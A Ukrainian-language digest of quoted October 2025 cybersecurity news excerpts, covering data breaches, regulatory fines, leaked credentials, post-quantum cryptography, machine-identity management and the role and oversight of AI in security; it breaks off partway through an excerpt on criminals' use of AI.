«Гігант соціальних мереж LinkedIn у четвер подав позов проти компанії, яка, за його словами, керує мережею з мільйонів фальшивих облікових записів, що використовуються для збору даних учасників LinkedIn перед продажем цієї інформації третім особам без дозволу…

Програмна компанія ProAPIs та її генеральний директор Рахмат Алам, як стверджує LinkedIn, нібито здійснюють операції, в рамках яких з клієнтів стягують

до 15 000 доларів на місяць за викрадені дані користувачів, отримані з соціальної мережі…

Згідно з позовом, поданим до федерального суду Північної Каліфорнії, дані, зібрані ProAPIs, нібито включають інформацію про членів LinkedIn, а також їхні публікації, реакції та коментарі…

У позові зазначено, що LinkedIn, яка належить Microsoft, регулярно виявляє скрейпінг ProAPIs протягом декількох годин після його початку, але оскільки програмна компанія створює «сотні, якщо не тисячі» фальшивих облікових записів щодня, неможливо зупинити всю цю діяльність…» ***(Suzanne Smalley. LinkedIn sues software company allegedly scraping data from millions of profiles // Recorded Future News (https://therecord.media/linkedin-sues-data-scraping-company). 03.10.2025).***

***

«Capita погодилася сплатити штраф у розмірі 14 мільйонів фунтів стерлінгів після того, як Управління комісара з інформації Великобританії встановило, що гігант аутсорсингу не забезпечив захист персональних даних під час кібератаки 2023 року, в результаті якої були викрадені дані 6,7 мільйона осіб. ICO дійшло висновку, що Capita не мала належних засобів контролю для запобігання ескалації привілеїв та поперечного переміщення в своїй мережі і не реагувала оперативно на сигнали про порушення безпеки. Capita, яка вже повідомила про потенційні загальні збитки від порушення в розмірі до 20 мільйонів фунтів стерлінгів, заявляє, що з того часу вона повністю оновила свої засоби кіберзахисту… Штраф відображає зростаючий регуляторний тиск на британські організації після нещодавніх гучних порушень у Marks & Spencer, Co-op та Jaguar Land Rover. Комісар з питань інформації Джон Едвардс попередив, що кожна організація, незалежно від розміру, повинна вживати активних заходів для захисту даних клієнтів. Capita зараз прогнозує відтік вільних грошових коштів у розмірі 59-79 мільйонів фунтів стерлінгів на 2025 рік, що перевищує попередні прогнози, хоча інші фінансові цілі залишаються незмінними. Штраф накладено на тлі повідомлення Національного центру кібербезпеки про те, що кількість «надзвичайно значущих» кіберінцидентів у Великій Британії подвоїлася в порівнянні з минулим роком». ***(UK's Capita fined $19 million for 2023 cyber breach // Yahoo (https://uk.finance.yahoo.com/news/uks-capita-fined-19-million-083328613.html). 15.10.2025).***

***

Масштабні витоки персональних даних

«…Внутрішня перевірка підтвердила, що кібервтручання, про яке влітку повідомило Федеральне агентство з надзвичайних ситуацій США (FEMA), було набагато масштабнішим, ніж спочатку визнавалося: протягом кількох тижнів невідомий хакер перебував у віртуальному робочому середовищі Citrix, яке використовує південно-західний регіон FEMA, і викрав дані персоналу не тільки FEMA, але й Митної та прикордонної служби США… Слідчі

стверджують, що зловмисник проник у систему в червні за допомогою викрадених облікових даних, обійшов багатофакторну автентифікацію, скориставшись новою уразливістю «CitrixBleed 2» (CVE-2025-5777) у NetScaler ADC/Gateway, і непомітно викрадав інформацію до початку липня, коли команди безпеки DHS виявили порушення. Навіть після початку усунення порушення DHS 10 вересня виявило, що дані дійсно були викрадені, що суперечить заяві міністра внутрішньої безпеки Крісті Ноем від 29 серпня про те, що «жодних конфіденційних даних викрадено не було». Було одночасно звільнено два десятки співробітників FEMA, включаючи CIO та CISO, звинувативши «бюрократів глибинної держави» у слабкій MFA (multi-factor authentication), застарілих протоколах та незахищених вразливостях. Інцидент, який погіршився через скорочення бюджету та нестачу персоналу, змусив провести масове скидання паролів, змінити політику в Zscaler та заблокувати веб-сайти, проте до 5 вересня повного локалізації все ще не вдалося досягти…

Експерти з безпеки попереджають, що тривалість перебування, яка тривала кілька тижнів, виявляє значні прогалини у видимості, підкреслює небезпеку поперечного переміщення між взаємопов'язаними федеральними мережами та показує, чому нульова довіра, моніторинг у реальному часі та більш тісна координація з постачальниками є життєво важливими для агентств, системи яких лежать в основі національної системи реагування на надзвичайні ситуації». ***(Jeffrey Burt. Hacker Stole Sensitive Data From FEMA, Border Patrol: Reports // Techstrong Group Inc. (https://securityboulevard.com/2025/10/hacker-stole-sensitive-data-from-fema-border-patrol-reports/). 02.10.2025).***

***

«…Renault Group UK оголосила, що особисті дані деяких її британських клієнтів були викрадені в результаті кібератаки на одного з її сторонніх постачальників послуг з обробки даних. Серед викраденої інформації — імена клієнтів, адреси, дати народження, стать, номери телефонів, ідентифікаційні номери транспортних засобів та дані про реєстрацію транспортних засобів. Renault підкреслила, що інцидент був поодиноким, локалізованим і не вплинув на її внутрішні системи. Автовиробник наразі зв'язується з постраждалими клієнтами та повідомив про інцидент відповідні органи. Цей інцидент є частиною зростаючої тенденції кібератак на великі компанії, включаючи нещодавні порушення у британського автовиробника Jaguar Land Rover, який минулого місяця зупинив роботу заводу, та атаки на британські люксові бренди та роздрібні мережі…» ***(Renault says UK customer data stolen in cyberattack // Raidió Teilifís Éireann (https://www.rte.ie/news/business/2025/1003/1536693-uk-customer-data-stolen-in-renault-cyberattack/). 03.10.2025).***

***

«Хакерський конгломерат, який називає себе «Scattered LAPSUS$ Hunters» (LPH), опублікував величезні вимоги викупу, спрямовані на Salesforce, погрожуючи оприлюднити близько мільярда записів, що містять особисту інформацію про понад 700 великих компаній, включаючи Google,

FedEx, UPS, Toyota та Disney, якщо не буде сплачено невизначену суму. LPH, який, як вважається, несе відповідальність за минулі атаки на Salesforce через скомпрометовані інтеграції Salesloft, запустив новий сайт витоку даних у даркнеті (DLS) та канал Telegram, заявивши про серйозне порушення інформаційної безпеки в Salesforce…

Незважаючи на ймовірно перебільшені заяви хакерів, вони володіють потенційно величезними обсягами викрадених даних, отриманих в результаті попереднього інциденту, коли вони зламали обліковий запис Salesloft на GitHub і зловживали токенами автентифікації, щоб здійснити напад на численні екземпляри Salesforce. Кіберзлочинці, конгломерат із трьох раніше окремих банд, члени яких були заарештовані, встановили Salesforce термін до 10 жовтня 2025 року для виконання їхніх вимог, погрожуючи оприлюднити всі викрадені дані та надати юридичну допомогу юридичним фірмам і постраждалим особам у судовому процесі, якщо їм відмовлять у виплаті. Ця погроза з'явилася на тлі хвилі судових позовів — щонайменше 14 було подано у вересні — в яких Salesforce звинувачують у неналежному захисті своєї платформи.

У відповідь Salesforce випустила рекомендацію з безпеки, в якій підтвердила, що їй відомо про спроби вимагання, але зазначила, що «наші висновки вказують на те, що ці спроби пов'язані з минулими або безпідставними інцидентами», без жодних вказівок на те, що сама платформа Salesforce була скомпрометована або що ця діяльність пов'язана з будь-якою відомою вразливістю. Salesforce підкреслила, що захист даних клієнтів залишається її головним пріоритетом, і закликала клієнтів залишатися пильними щодо потенційних спроб фішингу та соціальної інженерії. Незалежний аналіз загрози також був наданий командою Mandiant від Google…» ***(Ernestas Naprys. Hackers threaten Salesforce: pay up or over 700 companies' data will be exposed // Cybernews (https://cybernews.com/security/salesforce-hackers-demand-payment-threaten-data-leaks/). 03.10.2025).***

***

«Хакери з групи Scattered LAPSUS$ Hunters опублікували дані, викрадені на початку липня з австралійської авіакомпанії Qantas та кількох інших клієнтів Salesforce. Qantas, яка отримала судовий наказ австралійського суду, що забороняє доступ до витоку даних на території країни, заявляє, що її оцінка від липня залишається незмінною: постраждало близько 5,7 мільйона осіб. Для приблизно 2,8 мільйона клієнтів в результаті порушення були викрадені імена, адреси електронної пошти та номери часто літаючих пасажирів, а ще 1,7 мільйона також втратили додаткові дані, такі як адреси, номери телефонів, дати народження, уподобання щодо харчування або стать. Дані кредитних карток та паспортів не були викрадені, і авіакомпанія стверджує, що сама по собі ця інформація не може бути використана для злому облікових записів часто літаючих пасажирів. Qantas відкрила спеціальну телефонну лінію, співпрацює з органами регулювання конфіденційності Австралії та Нової Зеландії і попереджає клієнтів про спроби фішингу, оскільки шахраї видають себе за представників авіакомпанії…

Розсіяні LAPSUS$ Hunters, які спочатку намагалися вимагати викуп у Salesforce, опублікували партії даних пізно в п'ятницю після того, як хмарна

компанія відмовилася платити. Вони також перерахували п'ять інших основних жертв, серед яких Vietnam Airlines; VNCERT В'єтнаму підтвердила, що розслідування триває після того, як в Інтернеті з'явилися дані за 2020-2025 роки, що містять особисті дані та деталі програми лояльності. Хоча ФБР вилучило домени, які хакери планували використовувати, група швидко створила новий сайт для витоку інформації…

У відповідь на порушення безпеки компанія Qantas скоротила щорічні премії керівників вищої ланки на 15% (250 000 австралійських доларів для генерального директора Ванесси Хадсон), підкресливши фінансові та репутаційні наслідки атаки». ***(Jonathan Greig. Qantas confirms cybercriminals released stolen customer data // Recorded Future News (https://therecord.media/qantas-cybercriminals-stolen-data). 14.10.2025).***

***

«У червні 2025 року великий витік даних, що зачепив авіакомпанію Vietnam Airlines (VNA), призвів до компрометації понад семи мільйонів клієнтських облікових записів, включаючи імена, контактні дані та інформацію про програми лояльності, з CRM-платформи авіакомпанії на базі Salesforce. Вкрадені дані з'явилися в жовтні через хакерську групу ShinyHunters. Реакція громадськості на цей серйозний інцидент у сфері кібербезпеки була вкрай стриманою і запізнілою: перші повідомлення з'явилися на іноземних хакерських форумах і в службах моніторингу витоків, а не від в'єтнамських властей…

VNA мовчала більше двох днів, перш ніж підтвердити порушення в електронному листі, в якому мінімізувала інцидент, підкресливши, що VNA була лише однією з багатьох глобальних компаній, які постраждали, що свідчить про пріоритет внутрішнього розслідування над своєчасною та прозорою публічною комунікацією. Висвітлення в національних ЗМІ було мінімальним і здебільшого реактивним, значною мірою спираючись на офіційну заяву VNA та іноземні джерела, при цьому часто опускалися ключові деталі, такі як кількість зламаних облікових записів. Інцидент швидко зник з основних державних інформаційних агентств, що відповідає загальній культурі в'єтнамських ЗМІ, де повідомлення про невдачі, пов'язані з державними структурами, часто цензуруються або обмежуються…

VNA мовчала більше двох днів, перш ніж підтвердити порушення в електронному листі, в якому мінімізувала інцидент, підкресливши, що VNA була лише однією з багатьох глобальних компаній, які постраждали, що свідчить про пріоритет внутрішнього розслідування над своєчасною та прозорою публічною комунікацією. Висвітлення в національних ЗМІ було мінімальним і здебільшого реактивним, значною мірою спираючись на офіційну заяву VNA та іноземні джерела, при цьому часто опускалися ключові деталі, такі як кількість зламаних облікових записів. Інцидент швидко зник з основних державних інформаційних агентств, що відповідає загальній культурі в'єтнамських ЗМІ, де повідомлення про невдачі, пов'язані з державними структурами, часто цензуруються або обмежуються». ***(Vu Lam. Vietnam Airlines data leak exposes a crisis of transparency***

// Asia Times Holdings Limited (https://asiatimes.com/2025/10/vietnam-airlines-data-leak-exposes-a-crisis-of-transparency/). 15.10.2025).

***

«Іспанський ритейлер модного одягу Mango підтвердив витік «певних» даних клієнтів, який стався внаслідок несанкціонованого доступу до стороннього постачальника маркетингових послуг в Іспанії. Серед викрадених персональних даних — імена, країни, поштові індекси, адреси електронної пошти та номери телефонів… Mango підтвердила, що її внутрішні системи та операції не зазнали впливу, і, що важливо, банківські реквізити, дані кредитних карток та паролі не були скомпрометовані. Компанія активувала всі необхідні протоколи безпеки, запевнила клієнтів, що вони можуть продовжувати безпечно робити покупки, і планує протягом 24 годин повідомити про це Бюро комісара з питань інформації Великобританії, а також створити спеціальну поштову скриньку (personaldata@mango.com) для запитів клієнтів. Цей інцидент підкреслює зростаючу вразливість індустрії моди після недавніх зломів у таких відомих брендах, як Marks & Spencer, H&M та Louis Vuitton. Час оголошення Mango збігається з ініціативою уряду Великобританії на чолі з міністром технологій Ліз Кендалл і канцлером Рейчел Рівз, які закликають лідерів роздрібної торгівлі FTSE 350 вжити «негайних заходів» для посилення своєї кіберзахисту, відзначаючи, що кількість кіберінцидентів національного значення, якими займається NCSC, за останній рік зросла більш ніж удвічі. Генеральний директор NCSC Річард Хорн підкреслив, що надійна кібербезпека зараз має вирішальне значення як для виживання бізнесу, так і для національної стійкості». ***(Chloe Burney. Mango hit by data breach as fashion cyberattacks continue to rise // Magnus Media & Events Ltd (https://www.theindustry.fashion/mango-hit-by-data-breach-as-fashion-cyberattacks-continue-to-rise/). 16.10.2025).***

***

«Дослідники NordPass виявили понад 3000 паролів, пов'язаних з електронними поштовими акаунтами державних службовців Великобританії, які циркулюють у даркнеті та інших відкритих джерелах. Серед них 195 облікових записів Міністерства юстиції, 122 — Міністерства праці та пенсій, 111 — Міністерства оборони, десятки — Міністерства доходів і митниці та Міністерства внутрішніх справ, а також 70, пов'язаних із парламентом Великої Британії; також були представлені місцеві органи влади, такі як ради Абердіна, Ланкашира, Ньюхема та Саутварка. Загалом з'явилося 434 різних паролі — деякі з них використовувалися кількома співробітниками або були розкриті в результаті декількох інцидентів… NordPass зазначає, що великі організації є особливо вразливими, оскільки співробітники часто реєструються на сторонніх сайтах, використовуючи робочі адреси; отже, одне порушення безпеки веб-сайту або зараження особистого пристрою шкідливим програмним забезпеченням може призвести до витоку десятків корпоративних облікових даних. Хоча багато з викрадених паролів були надійними та складними, вони залишаються небезпечними, якщо співробітники не змінили їх після витоку або не увімкнули

багатофакторну автентифікацію. Крім паролів, було виявлено сотні тисяч пов'язаних даних — імена, номери телефонів, записи автозаповнення, файли cookie — що збільшило ризик фішингу. Проблема у Великобританії відображає більш широку проблему: NordPass нарахував 53 070 викритих паролів, пов'язаних з федеральними агентствами США, майже 20 000 — з французькими державними органами та понад 13 000 — з італійськими установами. Компанія закликає співробітників державного сектору використовувати унікальні, надійні паролі для кожного облікового запису, застосовувати офіційні політики щодо паролів та вмикати MFA, щоб зменшити вплив майбутніх витоків облікових даних…» ***(Emma Woollacott. Thousands of exposed civil servant passwords are up for grabs online // Future US, Inc. (https://www.itpro.com/security/thousands-of-exposed-civil-servant-passwords-are-up-for-grabs-online). 17.10.2025).***

***

Кібербезпека та хмарні технології

«Хмарні обчислення зараз містять мільярди конфіденційних медичних, фінансових та ділових записів, але їх довгострокова безпека залежить від майбутнього прориву: квантових обчислень. На відміну від класичних машин, квантові комп'ютери можуть досліджувати багато можливостей одночасно; достатньо потужна система (наприклад, конструкція Majorana-1 від Microsoft, яка планується розширити до мільйона кубітів) може зламати сучасне шифрування RSA або ECC за лічені хвилини. Супротивники вже застосовують стратегію «збирай зараз, розшифровуй пізніше» — накопичуючи зашифровані дані, доки не придбають, не орендують або не викрадуть квантову обчислювальну потужність…

Щоб запобігти цій загрозі, промисловість і уряди поспішають стандартизувати постквантову криптографію (PQC). Національний інститут стандартів і технологій США (NIST) завершує розробку таких схем, як CRYSTALS-Kyber (для обміну ключами) і CRYSTALS-Dilithium (для цифрових підписів), а хмарні гіганти, такі як Amazon і Microsoft, тестують гібридні «класичні + квантово-стійкі» протоколи. Підприємства не можуть чекати: вони повинні негайно провести аудит місць використання поточної криптографії, створити криптографічну гнучкість, щоб алгоритми можна було швидко замінювати, протестувати PQC паралельно зі старими методами та вимагати від постачальників чітких дорожніх карт.

Ця зміна є не лише технічною: регуляторні органи, партнери та клієнти незабаром вимагатимуть доказів готовності до квантових технологій. Перші, хто їх впровадить, отримають довіру та конкурентну перевагу, тоді як ті, хто запізниться, ризикують майбутніми порушеннями безпеки даних та шкодою для репутації. Міграція буде складною — застарілі програми, обладнання IoT та посилання сторонніх розробників можуть містити шифрування, яке важко оновити, — але бездіяльність може спричинити втрату довіри до безпеки хмарних технологій…

Квантові обчислення також відкриють нові можливості у сфері розробки ліків, логістики та моделювання клімату, тому організації повинні розглядати їх як можливість і загрозу одночасно. Ті, хто вже зараз впроваджує PQC і планує більш широкі економічні та геополітичні наслідки, будуть готові до процвітання, коли настане ера квантових технологій…» ***(FNU Anupama. Post-Quantum Security In The Cloud Era: Preparing Enterprises For The Next Disruption // Forbes Media LLC. (https://www.forbes.com/councils/forbestechcouncil/2025/10/03/post-quantum-security-in-the-cloud-era-preparing-enterprises-for-the-next-disruption/). 03.10.2025).***

***

«Оскільки організації все більше залежать від хмарної інфраструктури, ефективне управління нелюдськими ідентичностями (NHI) або ідентичностями машин стає критично важливим для кібербезпеки та захисту ідентичностей. NHI функціонують як цифрові паспорти, що складаються з секретних даних, таких як ключі або токени, які надають дозволи на доступ, що робить безпеку цих облікових даних та моніторинг їхніх дій надзвичайно важливими у всіх секторах, від фінансів до DevOps…

Комплексна стратегія управління NHI є надзвичайно важливою, оскільки традиційні, вузькі підходи, такі як секретні сканери, забезпечують обмежений захист. Надійна стратегія охоплює весь життєвий цикл ідентифікаційних даних машин — від виявлення та класифікації до постійного виявлення загроз та їх усунення. Такий комплексний підхід дає значні переваги, зокрема зменшення ризику порушень, поліпшення відповідності вимогам завдяки ретельним аудиторським слідовим даним, підвищення ефективності за допомогою автоматизації, а також покращення видимості та контролю над інфраструктурою кібербезпеки, що в кінцевому підсумку призводить до економії операційних витрат.

Забезпечення безпеки хмарного середовища вимагає тісної співпраці між командами з безпеки та НДДКР, щоб усунути прогалини в безпеці та інтегрувати заходи безпеки з нуля, сприяючи формуванню культури спільної відповідальності. Такий проактивний підхід до безпеки є життєво важливим для галузей, що працюють з конфіденційними даними, таких як охорона здоров'я та фінансові послуги, де надійне управління NHI може зменшити ризик шахрайства та забезпечити дотримання суворих нормативних вимог…

Крім того, використання автоматизації в управлінні NHI — для таких завдань, як ротація секретів і виведення з експлуатації — є потужним інструментом, який звільняє команди з кібербезпеки, щоб вони могли зосередитися на стратегічних ініціативах, скорочуючи час реагування та мінімізуючи потенційний збиток від загроз. Організації також повинні підтримувати постійну пильність і адаптувати свої заходи безпеки до мінливих загроз, потенційно використовуючи такі технології, як штучний інтелект і машинне навчання для виявлення та аналізу загроз у режимі реального часу.

Проактивна позиція в галузі безпеки не тільки запобігає порушенням, але й формує репутацію на ринку та сприяє зміцненню довіри клієнтів, що є надзвичайно важливим для утримання клієнтів та дотримання нормативних вимог, таких як директива NIS2. Застосовуючи рамки співпраці, технологічні інновації та

комплексне управління NHI, організації можуть забезпечити надійний захист ідентичності в хмарі, оперативну цілісність та довгострокову стійкість до кіберзагроз…» ***(Alison Mack. Are Your Cloud Identities Fully Protected? // Techstrong Group Inc. (https://securityboulevard.com/2025/10/are-your-cloud-identities-fully-protected/). 19.10.2025).***

***

Кібербезпека Інтернету речей. Штучний інтелект

«Штучний інтелект (ШІ) та кібербезпека – це галузі, що швидко розвиваються і становлять як ризики, так і можливості для корпоративних емітентів, що вимагає перегляду традиційних практик нагляду з боку директорів та посадових осіб, яким може знадобитися більш глибока технічна експертиза. Розсудливе управління, засноване на спеціалізованих знаннях та технічних знаннях, залишається критично важливим для подолання цих нових викликів…

Регулюючі органи по всьому світу все більше уваги приділяють штучному інтелекту та кібербезпеці. Така еволюція законодавства підкреслює необхідність для членів правління бути обізнаними у відповідних питаннях, оскільки дотримання нових законодавчих та регуляторних режимів, таких як встановлення політик щодо штучного інтелекту та програм кібербезпеки, може вимагати значного часу. Канадська комісія з цінних паперів (CSA) опублікувала рекомендації щодо застосовності законодавства про цінні папери до штучного інтелекту, закликаючи до більшої прозорості у розкритті інформації та застерігаючи від оманливих або надмірно прикрашених заяв, які можуть становити «AI-washing». Крім того, якщо законопроект C-8 буде прийнятий, він запровадить Закон про захист критичних кіберсистем (CCSPA), який встановлює нові вимоги до дотримання кібербезпеки для життєво важливих галузей, включаючи впровадження регулярних програм кібербезпеки, певні вимоги щодо повідомлення та зобов'язання щодо зберігання даних. Емітенти повинні встановити чіткий напрямок використання ШІ, щоб сприяти створенню необхідної системи кібербезпеки та уникнути значних наслідків за неналежне розкриття інформації…

Для ефективного вирішення цих питань ради директорів повинні впровадити кілька найкращих практик: директори повинні активно брати участь у вирішенні питань, що мають істотний вплив на організацію, та бути в курсі таких питань; ради директорів повинні залучати директорів з різним досвідом та знаннями для забезпечення цілісного підходу до прийняття рішень; чіткий організаційний курс, визначений радою директорів, допомагає керівництву досягати детально розроблених цілей; періодичні оцінки ради директорів допомагають виявити прогалини в навичках та сфери, що потребують розвитку…

Активна участь усього правління, а також комітетів, є невід'ємною частиною ретельного стратегічного розвитку та дотримання законодавчих вимог. Директори повинні розглядати ключові стратегічні питання, такі як цілі організації щодо

отримання конкурентної переваги за допомогою ШІ, вплив використання ШІ постачальниками на ризики, а також вплив розвитку ШІ на планування наступності або узгодження стратегії кібербезпеки з толерантністю до ризиків. До питань, що стосуються впровадження, належать оцінка зусиль, спрямованих на утримання осіб, які володіють цифровими навичками, забезпечення того, щоб плани безперебійної діяльності враховували тривалі інциденти в сфері кібербезпеки, навчання співробітників протидії соціальній інженерії, проведення зовнішніх аудитів та оцінка адекватності страхування та людського нагляду за вхідними та вихідними даними ШІ з метою пом'якшення непередбачених наслідків, зокрема тих, що пов'язані з ESG.

Зрештою, для контролю над цими швидко розвиваючимися сферами необхідні гнучкість і досвід. Хоча технічні знання є важливими, найважливішим залишається здоровий бізнес-розсуд, який забезпечує необхідні запобіжні заходи для директорів і керівників, щоб ефективно вирішувати проблеми штучного інтелекту та кібербезпеки…» ***(Alexandra Luchenko, Steven McKoen, Ziyao Sun. Artificial Intelligence and Cybersecurity: Board Oversight Essentials // Blake, Cassels & Graydon LLP. (https://www.blakes.com/insights/artificial-intelligence-and-cybersecurity-board-oversight-essentials/). 07.10.2025).***

***

«…Команди з безпеки звикли боротися з традиційними внутрішніми загрозами — довіреними особами, які зловживають законним доступом зловмисно або необережно, що склало 50% випадків кіберзлочинів у британських компаніях за останній рік. Однак з'являється новий тип внутрішніх загроз у вигляді агентів штучного інтелекту, які без належного захисту можуть стати «агентами хаосу» в існуючих системах авторизації…

Традиційні системи авторизації (AuthZ) є недостатніми для управління агентами ШІ, оскільки вони були розроблені з урахуванням поведінки людини, припускаючи, що зовнішні обмеження та здоровий глузд завадять користувачам зловживати надмірним доступом. На відміну від співробітників-людей, які вагаються перед доступом до непотрібних конфіденційних даних, агенти ШІ працюють з тими самими довіреними дозволами, але не мають соціальних обмежень або страху перед наслідками, що означає, що вони ефективно використовуватимуть кожен наданий дозвіл для досягнення своїх цілей…

Щоб мінімізувати хаос, спричинений агентами ШІ, команди з безпеки повинні зосередитися на трьох ключових напрямках:

1. Впровадження комбінованих ідентичностей: оскільки сучасні системи не можуть розрізняти людських користувачів та агентів ШІ, необхідні комбіновані ідентичності. Вони пов'язують цифрову ідентичність агента ШІ з людським користувачем, який дає йому вказівки, що дозволяє системі автентифікувати та авторизувати обидві сутності. Це створює повний аудиторський слід і дозволяє надавати детальні дозволи на основі конкретного поєднання людини та ШІ, усуваючи прогалини в відповідальності в таких сферах, як авторство коду та доступ до ресурсів.

2. Впровадити комплексні системи моніторингу: Команди з безпеки та експлуатації потребують постійного моніторингу діяльності агентів ШІ в різних середовищах (кодові бази, тестування, виробництво, бази даних). Організації повинні розглянути можливість розробки автономних інформаційних систем ресурсів (ARIS), що віддзеркалюють існуючі системи HRIS, для профілювання агентів, документування їхніх можливостей та управління їхніми оперативними межами.

3. Створення структур прозорості та підзвітності: Організації повинні впровадити чіткі політики, що вимагають розкриття інформації про використання інструментів ШІ, та призначити осіб, відповідальних за нагляд за агентами. Основні структури підзвітності включають регулярний людський контроль дій агентів, чіткі процедури ескалації у разі порушення меж та встановлені правила для швидкого скасування або зміни доступу агентів…

Інтеграція агентів штучного інтелекту, хоча і обіцяє значні інновації, вимагає фундаментальних змін у системах AuthZ, подібно до попереднього переходу на хмарні обчислення. Безпека повинна проактивно адаптуватися до цієї трансформації, щоб агенти штучного інтелекту забезпечували підвищення продуктивності, не стаючи при цьому новою серйозною вразливістю організації». ***(Josh Lemos. How Security Teams Can Manage Agentic AI Risks // Reed Exhibitions Ltd. (https://www.infosecurity-magazine.com/opinions/security-teams-agentic-ai-risks/). 03.10.2025).***

***

«…Незважаючи на поширену думку, що штучний інтелект (ШІ) незабаром замінить фахівців з кібербезпеки — таку думку поділяють 56% працівників у сфері кібербезпеки, опитаних у 2024 році — успіх ШІ повністю залежить від людського вкладу та якості даних. Щоб ШІ вийшов за межі «незрозумілих галюцинацій» і функціонував як потужний захисний механізм, він потребує ретельно підготовлених даних і контекстуалізації…

Фахівці з кібербезпеки відповідають за збір необробленої інформації з сотень джерел, таких як сканери вразливостей, SIEM, CSPM та хмарні робочі навантаження, і перетворення її в уніфікований, добре маркований набір даних. Однак самого контексту недостатньо; семантична нормалізація є «відсутнім інгредієнтом». Цей процес забезпечує структуру даних, яка організовує та інтерпретує вхідні дані безпеки в рамках спільної схеми, перетворюючи фрагментовані журнали, активи та сповіщення в уніфіковані формати. Семантична нормалізація дозволяє агентам штучного інтелекту аналізувати інформацію, співвідносити її в системі безпеки та з упевненістю генерувати практичні висновки.

Після контекстуалізації та нормалізації даних штучний інтелект необхідно навчити за допомогою реалістичної симуляції. Виконуючи конкретні сценарії атак у цифровому двійнику — безпечній репліці середовища організації в режимі реального часу — штучний інтелект навчається на практиці, визначаючи пріоритети, тестуючи ефективні засоби контролю та виявляючи вразливі місця. Такий акцент на якості даних і симуляції знаменує нову еру в кібербезпеці,

замінюючи застарілі, заздалегідь визначені правила виявлення, які не встигають за розвитком загроз…

Відносини між людьми та ШІ є партнерськими, а не конкурентними. Команди з безпеки повинні надавати пріоритет повноті, точності та зв'язності даних, визнаючи, що якість даних є новою логікою виявлення. Акцент слід перенести з питання інтелекту ШІ на забезпечення того, щоб дані, які він отримує, були зрозумілими та семантично багатими, що дозволить ШІ ефективно перетворювати інформацію на практичні відомості, необхідні для захисту від складних сучасних атак…» ***(Piyush Sharma. How Organizations Can Use AI to Transform Their Cybersecurity Programs // THE FAST MODE (https://www.thefastmode.com/expert-opinion/45078-how-organizations-can-use-ai-to-transform-their-cybersecurity-programs). 06.10.2025).***

***

«У В'єтнамі штучний інтелект став незамінним для операцій з кібербезпеки, скоротивши такі завдання, як виявлення аномалій у журналах, аналіз шкідливого програмного забезпечення та сканування вразливостей, з тижнів ручної роботи до хвилин автоматизованої обробки. Великі організації тепер вимагають, щоб тести безпеки завершувалися за кілька днів до запуску систем, що робить автоматизацію на основі штучного інтелекту єдиним практичним варіантом для виявлення ризикованих моделей поведінки користувачів у великих масштабах…

Однак впровадження ШІ — це далеко не проста справа. За словами Ву Нгок Сона, керівника відділу технологій Національної асоціації з кібербезпеки, ефективність ШІ залежить від кваліфікації людей, які його навчають і експлуатують. Більшість готових моделей розробляються за кордоном на основі непрозорих даних «чорного ящика», тому в'єтнамські команди повинні перенавчати їх на місці та ретельно перевіряти результати. Для цього потрібні фахівці з подвійною кваліфікацією в галузі науки про дані та кібербезпеки, а таких у країні все ще небагато. Опитування 3000 компаній, проведене в 2024 році, показало, що 20% з них не мають спеціалізованого персоналу з безпеки, а 35% мають менше п'яти таких співробітників, незважаючи на необхідність цілодобового моніторингу.

Фінансові обмеження ще більше ускладнюють ситуацію: дослідницькі лабораторії, найм висококласних фахівців та довгострокові проекти в галузі штучного інтелекту вимагають бюджетів, яких у багатьох компаніях немає. В результаті деякі організації бачать багатообіцяючі результати пілотних проектів, але вагаються фінансувати їх повномасштабне впровадження…

Тим часом зловмисники так само агресивно використовують штучний інтелект — для виявлення вразливостей, автоматизації вторгнень і знищення слідів, — тому той, хто першим освоїть цю технологію, «домінуватиме в грі». Наразі перевагу мають добре фінансовані групи хакерів…

Сон стверджує, що ефективна оборона повинна балансувати між технологіями, людьми та процесами. Штучний інтелект повинен отримати повну владу лише після того, як буде доведена його надійність і чітко визначені робочі

процеси. Інвестиції в алгоритми повинні йти рука в руку з витратами на кваліфікований персонал і надійні процедури; в іншому випадку штучний інтелект може збільшити ризик, а не зменшити його. Однак при правильній інтеграції штучний інтелект стає вирішальною конкурентною перевагою, особливо для найбільших підприємств В'єтнаму». ***(AI steps up to guard Việt Nam's digital frontier // Viet Nam News (https://vietnamnews.vn/opinion/1726641/ai-steps-up-to-guard-viet-nam-s-digital-frontier.html). 06.10.2025).***

***

«У заяві, опублікованій 6 жовтня 2025 року, Група експертів G7 з кібербезпеки окреслила подвійну роль штучного інтелекту (ШІ) у посиленні та загрозі кібербезпеці у фінансовому секторі. Хоча ця заява не є нормативним документом, вона містить важливі рекомендації для фінансових установ, підкреслюючи, що ШІ може бути використаний для поліпшення виявлення шахрайства та стійкості систем, але також попереджає, що він може бути використаний зловмисниками для прискорення кіберзловживань…

У заяві визначено три основні ризики, характерні для даного сектору: використання штучного інтелекту зловмисниками для швидшого виявлення та використання вразливостей; ризик концентрації, пов'язаний із залежністю від невеликої кількості основних постачальників штучного інтелекту; а також прогалини в можливостях компаній, які не мають власних фахівців у галузі штучного інтелекту…

Для вирішення цих проблем G7 окреслила сім рекомендацій для фінансових установ, серед яких необхідність оновлення систем управління, принципи безпеки штучного інтелекту, надійна перевірка даних та вдосконалені плани реагування на інциденти. Група наголошує на проактивному та спільних підходах, закликаючи компанії оновлювати свої системи управління ризиками та брати участь у діалозі між державним і приватним секторами. Ця заява відповідає зростаючому регулюванню, про що свідчить триваюче розслідування Комітету казначейства Великобританії щодо штучного інтелекту у сфері фінансових послуг…» ***(Samantha Paul and Anna Blest. G7 statement on AI and Cybersecurity - 7 key considerations for financial institutions // Bryan Cave Leighton Paisner LLP (https://clientintelligentinsights.bclplaw.com/post/102los5/g7-statement-on-ai-and-cybersecurity-7-key-considerations-for-financial-institu#page=1). 07.10.2025).***

***

«Керівники служб безпеки в державному та приватному секторах роками турбувалися про вплив ШІ на кіберзлочинність, але у звіті Intel 471 зроблено висновок, що хакери не поспішають повністю переглядати свої методи, щоб включити ШІ.

«Хоча штучний інтелект часто рекламують як революційну технологію в галузі соціальної інженерії, у контексті фішингу більшість зловмисників все ще покладаються на платформи [фішингу як послуги] та готові набори і використовують штучний інтелект переважно для створення та локалізації контенту, а не для справжньої автоматизації чи інновацій», — пишуть дослідники.

У звіті наведено три причини цього явища: обчислювальні обмеження, складність інтеграції ШІ в хакерські інструменти та незмінна ефективність існуючих тактик.

